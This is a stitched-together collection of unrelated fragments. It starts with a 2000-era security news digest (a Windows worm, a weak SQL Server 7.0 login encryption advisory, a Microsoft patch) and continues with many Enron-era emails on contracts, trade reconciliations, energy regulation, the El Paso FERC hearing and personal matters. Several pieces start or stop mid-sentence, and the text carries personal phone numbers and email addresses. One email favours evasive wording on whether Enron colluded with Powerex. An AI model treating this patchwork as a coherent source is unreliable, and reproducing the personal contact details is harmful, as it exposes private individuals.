http://www.cs.uni-potsdam.de/homepages/students/linuxer

'Melting Worm' slithers into the wild

From Computerworld: A new worm now "in the wild" has the potential to
shut down Windows platforms and make the operating system permanently
unusable.
Read the article:
http://www.nwfusion.com/news/2000/0316worm.html

Vulnerability in Microsoft SQL Server 7.0 encryption used to store
administrative login ID

Internet Security Systems (ISS) has identified a vulnerability in the
encryption used to conceal the password and login ID of a registered SQL
Server user in Enterprise Manager for Microsoft SQL Server 7.0. When
registering a new SQL Server in the Enterprise Manager or editing the
SQL Server registration properties, the login name that will be used by
the Enterprise Manager for the connection must be specified. If a SQL
Server login name is used instead of a Windows Domain user name and the
'Always prompt for login name and password' checkbox is not set, the
login ID and password are weakly encrypted and stored in the registry.
http://xforce.iss.net/alerts/advise45.php3

Patch available for "Malformed Media License Request" vulnerability

Microsoft has released a patch that eliminates a denial-of-service
vulnerability in Windows Media License Manager. The vulnerability could
allow a malicious user to temporarily prevent the license server from
issuing further licenses to customers for protected digital content such
as music and video.
http://www.microsoft.com/technet/security/bulletin/fq00-016.asp

engines, portals, videoconferencing, IP Multicast and document
management. He also oversees the "Security Alerts" page on Fusion

go to:

message.

I haven't opened the attachment yet, but I wanted to get it to you asap.
---------------------- Forwarded by Kay Mann/Corp/Enron on 06/16/2000 07:56 

jeffreye.smith@ps.ge.com on 06/15/2000 10:02:53 PM
To: Brian.D.Barto@enron.com, john.schroeder@ps.ge.com, Kay.Mann@enron.com, 
Scott.Dieball@enron.com
cc:  

Subject: RE: VITRO (Monterrey) GE WRAP REV 4

Brain,
This version is OK.
Looks like you have some extra text in the headings for items 14 & 15, for
the other software package.

John,
*   GE can sign this version of the consolidation agreement (Brian can
edit the headings for 14 & 15).
*   The last versions of the On & Off Shore agreements can be signed
(Those with Brain's 12/Jun/00).
*   The "Letter (Termination) Agreement" can be signed (The version with
K. Mann's 13/Jun/00).
Please advise status of GEIOC signature on Consolidation Agreement and
On-Shore Contract

Regards,
Jeff Smith

Sent:   Thursday, June 15, 2000 5:28 PM
To:   john.schroeder@ps.ge.com; jeffreye.smith@ps.ge.com; Kay Mann; Scott
Dieball
Subject:   Re: VITRO GE WRAP REV 4

 << File: Mac Word 3.0 >> 

Sorry guys:

I added the clause on the Parent Guarantee and without thinking, made it a
GE
obligation.  It was supposed to be an Enron requirement.  So I have
corrected
that in Clause 15.  GE already has the same obligation in the Contracts.

John Schroeder:  This will be the Version that we execute, so please forward
this one to your guy in Mexico.

(See attached file: GE Vitro WRAP rev 4a.doc)

I understand how things get taken out of context and I don't want us to
overreact. However, there are ways to head this kind of comment off before
it is raised. We developed some MESSAGES for Jeff to use in his travels. We
should try to put those back in front of him now and then reinforce those
in our follow-ups with the press after his interviews. I believe Kathy gave
a copy of these to Mark Palmer and Peggy Mahoney as well as the results of
the focus group research we did on the topic.

PREBON

deal 547680- Prebon does not recognize
deal 547681- Prebon does not recognize

Chris Mallory
I am missing the following deal per Prebon:
Enron buys from Merrill Lynch 25 mw of April'01 Sp-15  peak hours at $209.00

deal 547637 and deal 547678- Amerex only recognizes one deal.

deal 547287
Amerex shows 50 mw and Enpower has 25 mw..

BLOOMBERG

From: Dillon, C A [EQRE] [mailto:c.a.dillon@ssmb.com]
Sent: Thursday, October 18, 2001 6:49 PM
Subject: Market Pulp -- Weyerhaeuser Announces U.S. Pulp Price Increase

Chip Dillon
Salomon Smith Barney
388 Greenwich Street -- 28th Floor
New York, NY 10013  USA
Phone: 1-212-816-2793
Fax (US): 1-800-380-6401
Fax (International) 1-212-816-1090
Email: c.a.dillon@ssmb.com

*	In September, many major market pulp producers announced px
increases of $20-$30, effective Oct. 1. One major hold-out was Weyerhaeuser.
At the time, we were skeptical of the success of a px increase for Oct.
based on current market conditions -- favoring a gradual, modest increase in
Nov and Dec.
*	This afternoon, WY announced that it was raising pulp pxs by $20 per
tonne in the U.S. to $500 from $480/tonne (effective November 1).  This move
would effectively put WY's pricing in-line with the higher October levels
attempted by other producers (which have not generally held, to our
understanding).
*	Consistent with our view, we do believe that global market pulp pxs
can rise modestly in November & December based on the fact that several
regions' producers are seeing realizations near-or-below cash-cost levels.  
*	We maintain our view that global market pulp pxs will rise gradually
(at a modest pace) throughout 2002, but average below 2001 levels (cont'd
below) 

OPINION
We also see much higher average pulp prices in 2003 and again in 2004 --
which we regard as the cyclical peak year. Our average NBSK price forecast
for Europe remains $540 per tonne in 2001; $510 per tonne in 2002; $595 per
tonne in 2003; and $695 per tonne in 2004. 
We note that Weyerhaeuser's action is for the U.S. market, which has
generally been roughly $30 per tonne higher in price level than Europe due
largely to the impact of the very strong US dollar vs European currencies.

Company mentioned: 

Weyerhaeuser (WY -- 1M -- $49.09)

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Avenue, Rosebank, 2198, Republic of South Africa.  Salomon Smith Barney is a
service mark of Salomon Smith Barney Inc.

(c) Salomon Smith Barney Inc., 2001.  All rights reserved.  Any unauthorized
use, duplication or disclosure is prohibited by law and may result in
prosecution.

---------------------- Forwarded by Steve C Hall/PDX/ECT on 01/17/2001 04:16 

<Chris_A_Anderson@calpx.com> on 01/17/2001 04:16:51 PM
To: steve.c.hall@enron.com
cc:  

Subject: 

(See attached file: CTS Info Guide Version 3_9  (12-8-00) Clean.pdf)

 - CTS Info Guide Version 3_9  (12-8-00) Clean.pdf

----- Forwarded by Jeff Dasovich/NA/Enron on 04/05/2001 04:57 PM -----

=09Jean Munoz <jmunoz@mcnallytemple.com>
=0904/05/2001 04:38 PM
=09=09=20
=09=09 To: "'Andy Brown (E-mail)'" <ABB@eslawfirm.com>, "'B Brown Andy (E-m=
ail)'"=20
<andybrwn@earthlink.net>, "'Baker Carolyn (E-mail)'"=20
<cabaker@duke-energy.com>, "'Bob Escalante (E-mail)'"=20
<rescalante@riobravo-gm.com>, "'Bob Weisenmiller (E-mail)'"=20
<rbw@mrwassoc.com>, "'Curtis Kebler (E-mail)'"=20
<curtis_l_kebler@reliantenergy.com>, "Dean. Nistetter (E-mail)"=20
<Dean.Nistetter@dynegy.com>, "'Douglas Kerner (E-mail)'" <DKK@eslawfirm.com=
>,=20
"'Greg Blue (E-mail)'" <gtbl@dynegy.com>, "'Jan Smutny-Jones (E-mail)'"=20
<smutny@iepa.com>, "'Jeff Dasovich (E-mail)'" <Jeff.Dasovich@enron.com>,=20
"'Joe Ronan (E-mail)'" <joer@calpine.com>, "'John Larrea (E-mail)'"=20
<john.g.larrea@williams.com>, "'John Stout (E-mail)'"=20
<John_H_Stout@reliantenergy.com>, "'Julee Malinowski-Ball (E-mail)'"=20
<jmball@ns.net>, "'Kassandra Gough (E-mail)'" <kgough@calpine.com>, "'kent=
=20
Palmerton (E-mail)'" <kent.palmerton@williams.com>, "'Lynn Lednicky=20
(E-mail)'" <lale@dynegy.com>, "Marie Moretti (E-mail 2)"=20
<mmoretti@mccabeandcompany.net>, "'Marty Wilson (E-mail)'"=20
<mwilson@pstrategies.com>, "'McNally Ray (E-mail)'"=20
<rmcnally@mcnallytemple.com>, "''Nam Nguyen' (E-mail)'"=20
<nam.nguyen@powersrc.com>, "'Norton Kelli (E-mail)'"=20
<knorton@mcnallytemple.com>, "'Paula Hall-Collins (E-mail)'"=20
<paula.hall-collins@williams.com>, "'Pigott Jack (E-mail)'"=20
<jackp@calpine.com>, "'Richard Hyde (E-mail)'" <rwhyde@duke-energy.com>,=20
"'Roger Pelote (E-mail)'" <roger.pelote@williams.com>, "'Stephanie-Newell=
=20
(E-mail)'" <stephanie-newell@reliantenergy.com>, "'Sue Mara (E-mail)'"=20
<smara@enron.com>, "'Tom Ross (E-mail)'" <tross@mcnallytemple.com>, "Tom=20
Williams (E-mail)" <tcwillia@duke-energy.com>, "'Alex Sugaoka (E-mail)'"=20
<alex.sugaoka@uaecorp.com>, "'Bill Carlson (E-mail)'"=20
<william_carlson@wastemanagement.com>, "'Bill Woods (E-mail)'"=20
<billw@calpine.com>, "'Bob Ellery (E-mail)'" <bellery@spi-ind.com>, "'Bob=
=20
Gates (E-mail)'" <bob.gates@enron.com>, "'Cody Carter (E-mail)'"=20
<cody.carter@williams.com>, "'Curt Hatton (E-mail)'"=20
<Curt.Hatton@gen.pge.com>, "'David Parquet'" <david.parquet@enron.com>,=20
"'Dean Gosselin (E-mail)'" <dean_gosselin@fpl.com>, "'Doug Fernley (E-mail)=
'"=20
<fernley.doug@epenergy.com>, "'Duane Nelsen (E-mail)'"=20
<dnelsen@gwfpower.com>, "'Ed Tomeo (E-mail)'" <ed.tomeo@uaecorp.com>,=20
"'Eileen Koch (E-mail)'" <eileenk@calpine.com>, "'Eric Eisenman (E-mail)'"=
=20
<eric.eisenman@gen.pge.com>, "'Frank DeRosa (E-mail)'"=20
<frank.derosa@gen.pge.com>, "Frazier Blaylock (E-mail)"=20
<frazier_blaylock@ogden-energy.com>, "'Hap Boyd (E-mail)'"=20
<Hap_Boyd@enron.com>, "'Hawks Jack (E-mail)'" <jack.hawks@gen.pge.com>, "'J=
im=20
Willey (E-mail)'" <elliottsa@earthlink.net>, "'Joe Greco (E-mail)'"=20
<jgreco@caithnessenergy.com>, "'Jonathan Weisgall (E-mail)'"=20
<jweisgall@aol.com>, "'Kate Castillo (E-mail)'" <CCastillo@riobravo-gm.com>=
,=20
"'Kelly Lloyd (E-mail)'" <kellyl@enxco.com>, "'Ken Hoffman (E-mail)'"=20
<khoffman@caithnessenergy.com>, "'Kent Fickett (E-mail)'"=20
<kfickett@usgen.com>, "'Lynn Lednicky (E-mail)'"=20
<lynn.a.lednicky@dynegy.com>, "'Marty McFadden (E-mail)'"=20
<marty_mcfadden@ogden-energy.com>, "'Paula Soos'"=20
<paula_soos@ogden-energy.com>, "'Randy Hickok (E-mail)'"=20
<rjhickok@duke-energy.com>, "Rick S. Koebbe (E-mail)"=20
<rskoebbe@powerworksinc.com>, "'Rob Lamkin (E-mail)'"=20
<rllamkin@seiworldwide.com>, "'Ross Ain (E-mail)'" <ain@worldnet.att.net>,=
=20
"'Steve Iliff'" <siliff@riobravo-gm.com>, "'Steve Ponder (E-mail)'"=20
<steve_ponder@fpl.com>, "'Tony Wetzel (E-mail)'" <twetzel@thermoecotek.com>=
,=20
"'William Hall (E-mail)'" <wfhall2@duke-energy.com>,=20
<trusso@mcnallytemple.com>, <sadlersa@earthlink.net>, <mstultz@epsa.org>,=
=20
<rtemple@mcnallytemple.com>, <tracy.fairchild@edelman.com>,=20
<megan.beiser@edelman.com>, <deborah.fiorito@dynegy.com>, <lchurch@epsa.org=
>,=20
Katie Kaplan <kaplan@iepa.com>, <tcwillia@duke-energy.com>,=20
<rwhyde@duke-energy.com>
=09=09 Subject: Update on Governor's Press Conference

The Governor's Press Conference will air at 6:05 pm PST throughout Californ=
ia=20
-- and IEP will be responding. =20

If you are not in California, and would like to listen in, you can do so if=
=20
you have satellite access. Satellite feed information: Telstar 5; transpond=
er=20
19. =20
If you do not have access to satellite, IEP will be forwarding a "recap" as=
=20
soon as possible following the press conference.

If you would like to listen to the IEP response, the specifics are outlined=
=20
below. Thanks!  Jean
______________________________________________

ENERGY PRODUCERS REACT TO GOVERNORS? ADDRESS

SACRAMENTO =01. Jan Smutny-Jones, Executive Director of the Independent Ene=
rgy=20
Producers, will react to Governor Davis? energy address immediately followi=
ng=20
his remarks today at 6:05 pm.=20

What:    Reaction to Governor?s Energy Address=20
  =20
When:        Immediately following Governor?s remarks

[Satellite Feed: 6:30pm PST d 7:00pm PST]

Where:        State Capitol outside room 1190, or by
      =20
Satellite Feed:
KU BAND GE 3 Transponder 17 Full
Downlink Frequency: 12040 Horizontal > Audio: 6.2 & 6.8
For technical information contact: 916-446-7890

Who:    Jan Smutny-Jones
Executive Director=20

#         #         #

Alright, you know now that you need to trade Taylor - what do you want for 
him?

FYI.  Here's the latest complaint in gas cases.

Thanks.
Gary

 Hackett v. El Paso.cmplt.pdf
 <<Hackett v. El Paso.cmplt.pdf>>

 - Hackett v. El Paso.cmplt.pdf

You have to love the availability of beautiful lasses for viewing. Things are interesting. Enron is moving right along and we will find out about who I am working for on Friday (our auction should be completed then). Not too much else is new. My place continues to get better (as I slowly furnish it), but Portland continues to be the little sister to Seattle. A couple new bars in town suggest she might be getting closer to puberty but definitely not the woman about town that Seattle is. Morgan told me you may no longer be with Steph? Is this true? (And I hope you are the only one reading this if it is not). If that is the case, well, we can see what we can do about it. As always, I have no plans the next couple weekends, so give me a shout (still have my cell phone at 503-887-3449) if you want to take a trip on down. Your always welcome to crash on my couch...(sorry its all I have, I got rid of the futon). Hope youre doing well.

Word.

From: Scott Kuehn [mailto:scottkuehn@go2netmail.com]
Sent: Tuesday, January 08, 2002 2:28 PM
Subject: Re: What up?

Awww Jeahh.  It's nice to hear from you.  Ive 
been trying to get in touch with yall for quite 
some time.

Please reply back to this message and let me 
know how "Things" are.  Yes, the question is 
ambiguous, but try to go with it.

In response to "What up?:"

Everything has reached a new status quo. I live 
in Gig Harbor and attend class at UW Tacoma 
(UWT for short).  Class is great and their are 
plenty of beautiful lasses for viewing 
pleasure.  Hopefully I will be out of GH soon.  
I will start looking for jobs in Portland, 
Seattle, and SF (possibly) in Spring.  I have 
not been working on my tan.

I would really like to visit the city of Roses 
in the next few weekends.  What are your 
plans?   I hope everything is well with you.  
Please write back soon.

Buenos Nachos,
Scott  

Sent by Go2net Mail!

I created deal 682029.

D

Michael Olsen@ENRON
03/20/2001 12:55 PM
cc:  
Subject: Re: Deal 338634 Meter 985077  

Daren,

This has not yet shown up in Unify.  Did you use the same deal ticket?

03/20/2001 10:53 AM
To: Michael Olsen/NA/Enron@ENRON
cc:  

done.

03/20/2001 10:48 AM
cc:  
Subject: Deal 338634 Meter 985077

The above deal was in the system for 7/1/00 to 12/31/00.  We have had 
continued flow on the following dates...

1/4/01 to 1/8/01
1/29/01
2/7/01 to 2/28/01

The total flow has been 2804.

Can this deal be extended to cover the January and February flow?  

Attached is NARUC's letter opposing the MidAmerican transmission compromise.  
In addition, by mail, I have forwarded to you Southern Company's lobbying 
piece to also oppose the MidAmerican transmission compromise.  Chairman 
Murkowski told Ken Lay he would only support the compromise language if NARUC 
supported the language.  Well, we now have the answer.  We are lining up 
sponsors for our amendment package with Senators Bingaman and Fitzgerald 
agreeing to be lead sponsors plus others willing to cosponsor including 
Gorton and Nickles.  Staff confusion and locking down the exact amendment 
language are our immediate challenges now.  We do not expect the mark-up to 
conclude in the Senate Energy Committee tomorrow, thus, giving us time to 
pass our amendment package upon Congress' return from the Memorial Day break.

 - NARUC Letter 5-23-2000.doc

Please email to Valentis our L/C provisions (including copy of L/C format) as 
Paul has agreed to include "Other Eligible Support".  We do not yet need to 
create a revised Schedule/Paragraph 13.  Thanks.

----- Forwarded by Sara Shackleton/HOU/ECT on 06/07/2001 08:37 AM -----

	Paul Radous/ENRON@enronXgate
	06/06/2001 05:35 PM
		 
		 To: Sara Shackleton/HOU/ECT@ECT, Stephanie Panus/NA/Enron@Enron
		 cc: 
		 Subject: FW: ISDA Agreement

These are the comments from Valentis Investors, LLC.  I will forward my 
comments to you shortly.

From:  PAUL JACOBI <PJACOB@wexford.com>@ENRON 
[mailto:IMCEANOTES-PAUL+20JACOBI+20+3CPJACOB+40wexford+2Ecom+3E+40ENRON@ENRON.
com] 
Sent: Wednesday, June 06, 2001 3:39 PM
To: Abramo, Caroline; Radous, Paul
Cc: KEN RUBIN
Subject: ISDA Agreement

Please find attached our marked copy of the agreement.  Let me know if you

Paul Jacobi
Wexford Capital LLC
Phone: (203) 862-7074
Fax:     (203) 862-7374
Email: pjacob@wexford.com

 <<1-NY_1301759_11_.doc>>

 - 1-NY_1301759_11_.doc

Hi Mr. Stelzer l-

I don't believe Ken has had an opportunity to review the suggestions in your 
outline.  He has a huge stack of mail he hasn't gotten to yet.  Hopefully, by 
tomorrow, he will have seen it.

Thanks.

Rosalee

Stelzer@aol.com on 03/15/2001 12:13:57 PM
To: Kenneth.Lay@enron.com
cc:  
Subject: Re: Enron Advisory Council

Will do -- and I assume I can go ahead with all of the suggestions in my
outline. Right? Also, now that you are free of Blockbuster, should you and
Rupert get together again?

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5-7928

                             GAS DAILY
                             ON-LINE EDITION
                             May 15, 2001
***FERC launches formal hearing in El Paso case
     A collection of high-powered attorneys crowded a FERC hearing 
room yesterday for the launch of a formal hearing into 
allegations of market power abuse by El Paso and its affiliates. 
While a decision is still a way off, the presiding judge in the case 
made it clear that FERC must find a precise way to measure market 
share in California before ruling on the case.
     The hearing also marked the public release of a controversial 
market power study by The Brattle Group, which was commissioned 
by Southern California Edison to find evidence of market power 
abuse by El Paso marketing affiliate El Paso Merchant Energy. The 
Brattle Group said that it found substantial evidence that El Paso 
manipulated California's gas market -- a claim that remains 
strongly in dispute (see story, page 4).
     In an opening statement, FERC Chief Administrative Law Judge 
Curtis Wagner laid down the parameters for the hearing. The 
burden of proof, he said, is on the California Public Utilities 
Commission, which filed the original Section 5 complaint against 
El Paso. But once a case is made, Wagner added, "the burden of 
going forward with evidence to rebut that case shifts to El Paso 
Merchant and the parties on its side of the table."
     The case originated last year, when the CPUC asked FERC to 
abrogate a series of transportation contracts between El Paso 
Natural Gas and El Paso Merchant. The California regulators 
claimed the capacity award was rigged, and further complained of 
a conspiracy to drive up the delivered price of gas into California.
     In March, FERC dismissed the CPUC's claim that there was 
favoritism in the bidding process for El Paso pipeline capacity (GD 
3/29). But the commission also sent the case before an ALJ, saying 
the case raised larger questions of market power. According to 
FERC, certain disputed issues of fact need to be examined at a 
hearing before a decision can be rendered.
     One of the biggest issues will be determining whether the 
affected market is the entire state of California or whether it is 
just Southern California. The CPUC and Southern California Edison 
maintain that only the Southern California market is at issue, 
while El Paso argues that the case applies to the entire state.
     The outcome of the case could hinge on that distinction. As 
Wagner noted in his opening remarks, "The question of the 
geographic market makes a tremendous difference in how El Paso 
Merchant's market share will be measured and the results."
     If the entire state is considered as a single market, said 
Wagner, then El Paso Merchant would have a market share that, 
depending on methodology, would range between 17% and 26.8%. 
But if the CPUC's contention that the market is Southern 
California holds up, he added, then El Paso Merchant's market 
share would be between 35% and 44.9%.
     Finding out whether market power exists also depends on how 
many players are involved in a particular market. Wagner said 
that the parties need to reach a stipulation among counsel on the 
number of players. In addition, he said that he would need a better 
geographic description of El Paso Merchant's capacity holdings 
and information on the price differential of gas between Northern 
and Southern California. 
     Finally, Wagner directed a number of questions to El Paso. El 
Paso Merchant, he said, "should answer the CPUC's question as to 
why it subscribed for the involved [1.2 billion cfd] for 15 months 
when it had no market for that amount." In addition, said Wagner, 
El Paso should "show whether it sold in the secondary market 
short-term releases of the excess [capacity] at a price higher than 
it paid."
     Wagner also heard arguments over the admissibility of certain 
evidence.
     Given the volume of testimony involved, the case will require 
some legal heavy lifting before a preliminary decision is reached. 
Noting that he received a nearly two-foot high stack of testimony 
last week, Wagner said that reading prehearing briefs and 
prepared testimony "consumed a very beautiful Sunday in 
Washington." (RP00-241)     NH

***El Paso takes aim at Calif. Assembly, study
     In an effort to clear its name in the ongoing California market 
power controversy, El Paso is going on the offensive. The company 
yesterday issued a riposte to claims -- publicized by California 
Assembly members and major newspapers -- that it manipulated 
California gas prices. And it took close aim at The Brattle Group, a 
consultancy that has figured prominently in various 
investigations into the matter. 
     According to El Paso, The Brattle Group worked "hand-in-hand" 
with a California Assembly subcommittee to pin the blame on El 
Paso and its subsidiaries for the run-up in gas prices in the 
Golden State. El Paso furnished copies of internal Assembly e-mails 
as proof that the subcommittee did not seek to conduct an 
objective investigation. 
     As reported in Gas Daily, The Brattle Group's study of alleged 
market power abuse by El Paso marketing arm El Paso Merchant 
Energy has been exhibit A in California pipeline litigation (GD 
4/25). In a study commissioned by Southern California Edison, The 
Brattle Group concluded that El Paso had deliberately manipulated 
California-bound pipeline capacity in an effort to drive up the 
price differential between production basins and the California 
border.
     Drawing in large part on The Brattle Group's opinion, the 
California Assembly Subcommittee on Energy Oversight recently 
concluded that El Paso caused the price run-up (GD 4/20). 
Representatives of the Assembly's Democratic majority said The 
Brattle Group study proved conclusively that the rise in gas 
prices at the California border was greater than could be 
accounted for through normal market forces.
     But according to El Paso, the subcommittee majority was -- 
deliberately -- wrong. The inquiry conducted by the subcommittee, 
said El Paso, was a "charade that was orchestrated from the 
beginning" to shore up SoCalEd's case.
     "El Paso has recently obtained, through discovery in a 
proceeding before the Federal Energy Regulatory Commission, 
correspondence between the staff for the subcommittee and the 
paid litigation consultant [The Brattle Group] for Southern 
California Edison," said El Paso in a statement. "This 
communication reveals that the subcommittee majority's 
conclusions were pre-determined to blame El Paso for California's 
failed energy policies."
     The correspondence included apparent requests from 
subcommittee staff members for help in "rebutting" El Paso's 
testimony before the Assembly. El Paso interpreted those requests 
as proof that the subcommittee majority "never intended" to write 
an objective report on the matter. 
     "We are shocked that the subcommittee delegated its 
responsibilities to [SoCalEd's] consultants," said Norma Dunn, El 
Paso senior vice president of communications and government 
affairs. "We voluntarily met with subcommittee staff and testified 
before the subcommittee in good faith, under the false premise 
that the subcommittee was interested in seeking the truth. Now we 
learn that the subcommittee was working at the direction of 
[SoCalEd's] litigation consultants to support SCE's litigation 
position." 
     Litigation pitting SoCalEd and the California Public Utilities 
Commission against El Paso is currently under way at FERC (see 
story, page 1). Following yesterday's hearing, Dunn told Gas Daily 
that SoCalEd and the CPUC were also waging their campaign against 
El Paso in the   national press. 
     The New York Times, for instance, has published articles that 
relied on The Brattle Group study and other sealed documents. 
Dunn said it was "clear" that SoCalEd and the CPUC were using the 
selective leak of documents to take the case against El Paso to the 
public. 
     Prior to recess in yesterday's hearing, FERC Chief 
Administrative Law Judge Curtis Wagner issued a reminder of the 
need to restrict access to protected documents.     NH

published : May 15, 2001
El Paso Calls California Subcommittee Hearing a 'Sham' 
El Paso Corp. claims it was set up by California Assembly members to take the 
blame for high gas prices in the state. It said recent hearings before a 
subcommittee were a "sham," and that it was "predetermined" that El Paso 
would be accused on wrongdoing in a report approved by the subcommittee 
majority yesterday. 
While El Paso battled similar accusations at the opening of hearings 
yesterday before a FERC administrative law judge, the company publicly 
contested the results of the majority report (approved 3-2) of the California 
Assembly Subcommittee on Energy Oversight, which placed the blame on the 
energy company for skyrocketing gas prices in the state. The majority report 
says El Paso drove up gas prices by withholding pipeline capacity from the 
market, focusing on the same year-old capacity contract between El Paso's 
pipeline and marketing affiliate that is the subject of FERC's investigation. 
Contrary to the majority report, however, are the conclusions of a report 
prepared for the two Republican members of the five-member subcommittee. That 
document said the hearings "produced no conclusive evidence" of price 
manipulation. 
Although the majority report has not been made public, "it is clear, based on 
accounts of the report and recently uncovered documents, that the 
subcommittee hearing was a sham," El Paso said in a statement. 
El Paso released to the public yesterday documents containing e-mail 
correspondence between staff members of the subcommittee and members of the 
Brattle Group, a paid consulting firm for Southern California Edison. The 
Brattle Group is one of El Paso's main opponents at the hearings this week 
before FERC's Chief Administrative Law Judge Curtis Wagner Jr. Brattle 
accuses the company of costing Californians an additional $3.7 billion in gas 
costs over the past year. 
The correspondence El Paso released reveals a close relationship between the 
consulting firm and the subcommittee staff. For example, a staff member said 
to Brattle Group's Matthew O'Loughlin, "I can't thank you and Paul enough for 
your testimony. It was beyond expectations, the members were highly 
impressed. The chairman asked me if you guys could stay and help us with a 
second day. We could have used it." 
El Paso said the communication reveals that the subcommittee majority's 
conclusions were "pre-determined to blame El Paso for California's failed 
energy policies." The subcommittee majority was working "hand-in-hand with, 
and relying on, SCE's consultant, the Brattle Group, in their so-called 
analysis," El Paso said. "In communications between the subcommittee staff 
and SCE's consultant, it is clear that SCE's consultant assisted in preparing 
questions for the hearing and that the subcommittee staff requested 
assistance from SCE's consultant in preparing the final report. 
"That the subcommittee majority never intended to conduct an objective 
investigation is clear... [R]ather than write an objective report based on 
the testimony, the staff went on to ask SCE's consultant for help in 
'rebutting' El Paso's testimony." 
"We are shocked that the subcommittee delegated its responsibilities to SCE's 
consultants," said Norma Dunn, senior vice president of Communications and 
Government Affairs for El Paso. "We voluntarily met with subcommittee staff 
and testified before the subcommittee in good faith, under the false premise 
that the subcommittee was interested in seeking the truth. Now we learn that 
the subcommittee was working at the direction of SCE's litigation consultants 
to support SCE's litigation position. We are particularly concerned that 
after coordinating the questions to be asked, the Brattle Group testified 
before the subcommittee as if it were an independent group. It is obvious 
that the subcommittee hearings were a charade that was orchestrated from the 
beginning. Final conclusions were drawn before we had an opportunity to 
testify and then the final report was leaked to the press instead of provided 
to us, so that we would not have an opportunity to react." 
Dunn said El Paso is confident that once the facts are presented to FERC in 
hearings this week, it will be "vindicated." 
However, El Paso also faces an uphill battle in Washington. The FERC hearings 
pit El Paso and its subsidiaries against the California Public Utilities 
Commission and the state's two largest investor-owned utilities, Pacific Gas 
& Electric and Southern California Edison. 
The regulators and the utilities also allege El Paso withheld capacity on its 
pipelines into the state, which in turn pushed prices up. If the charges are 
substantiated, FERC Judge Wagner could order the company to refund any money 
it earned due to price or supply manipulation. Such a ruling could have even 
broader implications because skyrocketing prices for natural gas, the single 
biggest source of fuel for power plants in California, obviously contributed 
to the financial calamity that brought Southern California Edison to its 
knees and sent Pacific Gas & Electric into bankruptcy. 
The details of the charges are well known at this point. Critics alleged that 
El Paso Merchant Energy Gas LP and El Paso Merchant Energy Co. received 
inside information on a discount transportation rate that enabled them to end 
up the big winners in an open season in February of last year. The open 
season involved 1.22 Bcf/d of firm capacity on El Paso to the California 
border. 
But in an order on complaint, FERC found "no merit in the allegations." It 
cleared El Paso of charges that it rigged the bidding for capacity to favor 
its affiliates. Moreover, it said there was no evidence that El Paso violated 
its standards of conduct. However, the Commission did not dismiss the 
allegations that El Paso engaged in market and price manipulation. It set the 
market power issue for hearing in March before Judge Wagner and ordered him 
to provide an initial decision within 60 days (see Daily GPI, March 29). 
FERC staff also appears to be hot on El Paso's tracks. In testimony submitted 
last week before Judge Wagner, FERC staff's expert witness concluded that El 
Paso probably exercised market power in the Southern California gas market 
and drove up gas prices over the past year when pipeline capacity constraints 
existed. FERC Economist Dr. Jonathan D. Ogur concluded that under certain 
circumstances El Paso was able to wield market power in the Southern 
California gas market (see Daily GPI, May 14). 
The rise in California natural gas prices is not attributable to El Paso, the 
company said in its statement yesterday, but is attributable to the fact that 
demand for gas has far outstripped supply. Evidence presented at the 
California subcommittee hearings shows that El Paso has consistently utilized 
its pipeline capacity to ship natural gas to California and has never 
restricted supply. Constraints on gas infrastructure in the state have 
limited the supply of gas during a time in which demand has risen 
dramatically, the company said. 

Dear Customer,

Thanks for your inquiry regarding NewPower's 500 home technology pilot in 
Houston, Texas.  Please note you do not need to be a NewPower electricity 
customer to participate in this pilot.  The technology pilot is a separate 
program.  If you have already signed up for this pilot through some other 
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located

3)  Print out the brochure/application

4)  Fill it out and fax it back to us at 914-697-2482 (to the attention of 
NewPower Connections)

 or

5)  Mail the completed application to us at: The New Power Company
      One Manhattanville Road
      3rd Floor
      Purchase, NY  10577-2100
      attn:  NewPower Connections

Sears will call you in two to four weeks to schedule the installation.  
Remember, the NewPower Connections Remote Energy Management Solution pilot 
program is completely FREE to the first 500 participants.  Free hardware, 
free installation, free service calls, and no monthly service fees or hidden 
charges.  At the conclusion of the pilot, those first 500 pilot participants 
will be "Grandfathered" so Remote Energy Management will remain free to them 
should the service be continued as a real mass market product.  

Remember, to participate in the pilot, you must meet the following 
qualifications:

1)  You must reside in the Greater Houston Area.  The outer limits or our 
service area generally will include Kingwood, The Woodlands, Tomball, Katy, 
Sugarland, Pearland, League City, and Baytown.  Reliant Energy / HL&P should 
be your current service provider.

2)  You must own and live full time in a single family home (No Apartments 
Please).

3)  You must have internet access either at work or at home.

4)  You must NOT have any other Powerline Carrier Devices currently installed 
in the home (Such as X10 Devices).

5)  Your home must have central heating and air conditioning.

Please let us know on the application if you have a Dial-up or Broadband 
Internet connection at home.  If you do have broadband, please advise if it 
is DSL or Cable and who the service provider is (i.e. PDQ.net, SBC, 
Earthlink, etc.).  Just write it anywhere.

If you like our NewPower Connections Remote Energy Management Solution, feel 
free to forward this brochure and application to your friends and family.  

Thank you,

Please revise the document as Aleck's changes indicate.  With respect to the 
alternative responses shown near the end of the document, leave both 
alternatives in.
---------------------- Forwarded by Steven J Kean/HOU/EES on 07/31/2000 08:58 

Richard Shapiro
07/31/2000 07:08 AM
To: Aleck Dadson/TOR/ECT@ECT
cc: Steven J Kean/HOU/EES@EES, Mark Palmer/Corp/Enron@ENRON@ECT, Eric 
Thode/Corp/Enron@ENRON@ECT, Richard B Sanders/HOU/ECT@ECT, Robert 
Hemstock/CAL/ECT@ECT, Ginger Dernehl/HOU/EES@EES 
Subject: Re: Project Stanley  

I am comfortable w/ the changes. On question of whether we colluded W/  
Powerex, I would opt for simpler alternative and say we complied w/ all rules 
of the pool. Thanks.

To: Steven J Kean/HOU/EES@EES, Richard Shapiro/HOU/EES@EES, Mark 
Palmer/Corp/Enron@ENRON, Eric Thode/Corp/Enron@ENRON, Richard B 
Sanders/HOU/ECT@ECT, Robert Hemstock/CAL/ECT@ECT
cc: Ginger Dernehl/HOU/EES@EES 
Subject: Project Stanley

Privileged and Confidential - For Instruction of 
Counsel                                                 Attached is a revised 
copy of the Background note discussed earlier this week.  The revisions are 
based on comments  from Frontier Economics and GPC, and further reflection by 
Rob Hemstock and myself. I have also attached the  raw calculations from 
Frontier that underlie several of the revisions.  I have not  sent the 
revised document to outside counsel for review.  

The attached file contains CES's first-of-the-month daily volume requirements
for July 2000.  This request is submitted 3 business days prior to NYMEX close
for the month of July.   The file contains volumes to be delivered to the
citygate as well as volumes to be injected into storage consistent with the
theoretical storage injection schedule.

Please call me if you have questions or problems with the attached request.

 - July00_FOM_Req.xls

Good morning baby girl! How are you this morning? And how are my grandbabies? 
Call me later. I love you!  Bye!!!
---------------------- Forwarded by Judy Hernandez/HOU/ECT on 08/31/2000 
08:19 AM ---------------------------

Angela Barnett
